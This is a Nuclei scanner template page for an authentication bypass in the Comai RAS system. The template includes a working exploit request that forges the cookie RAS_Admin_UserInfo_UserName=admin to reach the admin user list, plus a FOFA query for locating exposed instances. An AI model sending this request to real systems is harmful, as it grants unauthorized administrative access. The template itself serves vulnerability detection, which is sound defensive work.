Comai RAS System Cookie - Authentication Override

ID: comai-ras-cookie-bypass

Severity: high

Author: SleepingBag945

Tags: comai-ras,ras,kemai

Description

Comai RAS system has cookie authentication overreach, when RAS_Admin_UserInfo_UserName is set to admin, the background can be accessed

YAML Source

id: comai-ras-cookie-bypass

info:
  name: Comai RAS System Cookie - Authentication Override
  author: SleepingBag945
  severity: high
  description: |
    Comai RAS system has cookie authentication overreach, when RAS_Admin_UserInfo_UserName is set to admin, the background can be accessed
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/%E7%A7%91%E8%BF%88/%E7%A7%91%E8%BF%88%20RAS%E7%B3%BB%E7%BB%9F%20Cookie%E9%AA%8C%E8%AF%81%E8%B6%8A%E6%9D%83%E6%BC%8F%E6%B4%9E.md
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/maike-ras-cookie-bypass.yaml
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="科迈-RAS系统"
  tags: comai-ras,ras,kemai

http:
  - raw:
      - |
        GET /Server/CmxUser.php?pgid=UserList HTTP/1.1
        Host: {{Hostname}}
        cookie: RAS_Admin_UserInfo_UserName=admin

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\"?pgid=User_Show"
          - "usingeKey"
          - "MachineAmount"
          - "AppLoginType"
          - "TimeType"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008673a1d0e8dc0dc64f6414609481a1a7d45cb6bde29af98cabaf433a509ec3f7022062208a624de971056174bcde90b58d393c0ca1359266c5b38023e89a10ccdd16:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/comai-ras-cookie-bypass.yaml"

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